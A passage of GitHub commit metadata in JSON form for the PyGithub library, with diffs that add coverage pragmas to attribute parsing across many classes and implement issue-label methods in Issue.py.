)","status":"modified","deletions":15,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","changes":30,"additions":15,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","filename":"src/github/Gist.py"},{"patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","filename":"src/github/GistComment.py"},{"patch":"@@ -44,18 +44,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"change_status\", \"committed_at\", \"url\", \"user\", \"version\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None:\n+ if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"change_status\" ], dict )\n self.__change_status = CommitStats.CommitStats( self.__requester, attributes[ \"change_status\" ], completion = LazyCompletion )\n- if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None:\n+ if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committed_at\" ], str )\n self.__committed_at = attributes[ \"committed_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )\n- if \"version\" in attributes and attributes[ \"version\" ] is not None:\n+ if \"version\" in attributes and attributes[ \"version\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"version\" ], str )\n self.__version = attributes[ \"version\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","filename":"src/github/GistHistoryState.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"date\", \"email\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"date\" in attributes and attributes[ \"date\" ] is not None:\n+ if \"date\" in attributes and attributes[ \"date\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"date\" ], str )\n self.__date = attributes[ \"date\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","filename":"src/github/GitAuthor.py"},{"patch":"@@ -42,18 +42,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"content\", \"encoding\", \"sha\", \"size\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"content\" in attributes and attributes[ \"content\" ] is not None:\n+ if \"content\" in attributes and attributes[ \"content\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"content\" ], str )\n self.__content = attributes[ \"content\" ]\n- if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None:\n+ if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"encoding\" ], str )\n self.__encoding = attributes[ \"encoding\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","filename":"src/github/GitBlob.py"},{"patch":"@@ -55,27 +55,27 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"committer\", \"message\", \"parents\", \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = GitAuthor.GitAuthor( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = GitAuthor.GitAuthor( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n GitCommit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], dict )\n self.__tree = GitTree.GitTree( self.__requester, attributes[ \"tree\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":7,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","filename":"src/github/GitCommit.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","filename":"src/github/GitObject.py"},{"patch":"@@ -55,12 +55,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"object\", \"ref\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"ref\" in attributes and attributes[ \"ref\" ] is not None:\n+ if \"ref\" in attributes and attributes[ \"ref\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ref\" ], str )\n self.__ref = attributes[ \"ref\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","filename":"src/github/GitRef.py"},{"patch":"@@ -49,21 +49,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"message\", \"object\", \"sha\", \"tag\", \"tagger\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tag\" in attributes and attributes[ \"tag\" ] is not None:\n+ if \"tag\" in attributes and attributes[ \"tag\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tag\" ], str )\n self.__tag = attributes[ \"tag\" ]\n- if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None:\n+ if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tagger\" ], dict )\n self.__tagger = GitAuthor.GitAuthor( self.__requester, attributes[ \"tagger\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","filename":"src/github/GitTag.py"},{"patch":"@@ -33,15 +33,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], list ) and ( len( attributes[ \"tree\" ] ) == 0 or isinstance( attributes[ \"tree\" ][ 0 ], dict ) )\n self.__tree = [\n GitTreeElement.GitTreeElement( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"tree\" ]\n ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","filename":"src/github/GitTree.py"},{"patch":"@@ -47,21 +47,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"mode\", \"path\", \"sha\", \"size\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"mode\" in attributes and attributes[ \"mode\" ] is not None:\n+ if \"mode\" in attributes and attributes[ \"mode\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mode\" ], str )\n self.__mode = attributes[ \"mode\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","filename":"src/github/GitTreeElement.py"},{"patch":"@@ -99,21 +99,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"active\", \"config\", \"created_at\", \"events\", \"id\", \"last_response\", \"name\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"active\" in attributes and attributes[ \"active\" ] is not None:\n+ if \"active\" in attributes and attributes[ \"active\" ] is not None: # pragma no branch\n self.__active = attributes[ \"active\" ]\n- if \"config\" in attributes and attributes[ \"config\" ] is not None:\n+ if \"config\" in attributes and attributes[ \"config\" ] is not None: # pragma no branch\n self.__config = attributes[ \"config\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"events\" in attributes and attributes[ \"events\" ] is not None:\n+ if \"events\" in attributes and attributes[ \"events\" ] is not None: # pragma no branch\n self.__events = attributes[ \"events\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None:\n+ if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None: # pragma no branch\n self.__last_response = attributes[ \"last_response\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","filename":"src/github/Hook.py"},{"patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None\n@@ -257,59 +268,59 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"assignee\", \"body\", \"closed_at\", \"closed_by\", \"comments\", \"created_at\", \"html_url\", \"id\", \"labels\", \"milestone\", \"number\", \"pull_request\", \"repository\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None:\n+ if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"assignee\" ], dict )\n self.__assignee = NamedUser.NamedUser( self.__requester, attributes[ \"assignee\" ], completion = LazyCompletion )\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_at\" ], str )\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None:\n+ if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_by\" ], dict )\n self.__closed_by = NamedUser.NamedUser( self.__requester, attributes[ \"closed_by\" ], completion = LazyCompletion )\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"labels\" in attributes and attributes[ \"labels\" ] is not None:\n+ if \"labels\" in attributes and attributes[ \"labels\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"labels\" ], list ) and ( len( attributes[ \"labels\" ] ) == 0 or isinstance( attributes[ \"labels\" ][ 0 ], dict ) )\n self.__labels = [\n Label.Label( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"labels\" ]\n ]\n- if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None:\n+ if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"milestone\" ], dict )\n self.__milestone = Milestone.Milestone( self.__requester, attributes[ \"milestone\" ], completion = LazyCompletion )\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None:\n+ if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None: # pragma no branch\n self.__pull_request = attributes[ \"pull_request\" ]\n- if \"repository\" in attributes and attributes[ \"repository\" ] is not None:\n+ if \"repository\" in attributes and attributes[ \"repository\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repository\" ], dict )\n self.__repository = Repository.Repository( self.__requester, attributes[ \"repository\" ], completion = LazyCompletion )\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":21,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","changes":53,"additions":32,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py"},{"patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","filename":"src/github/IssueComment.py"},{"patch":"@@ -78,24 +78,24 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"commit_id\", \"created_at\", \"event\", \"id\", \"issue\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ 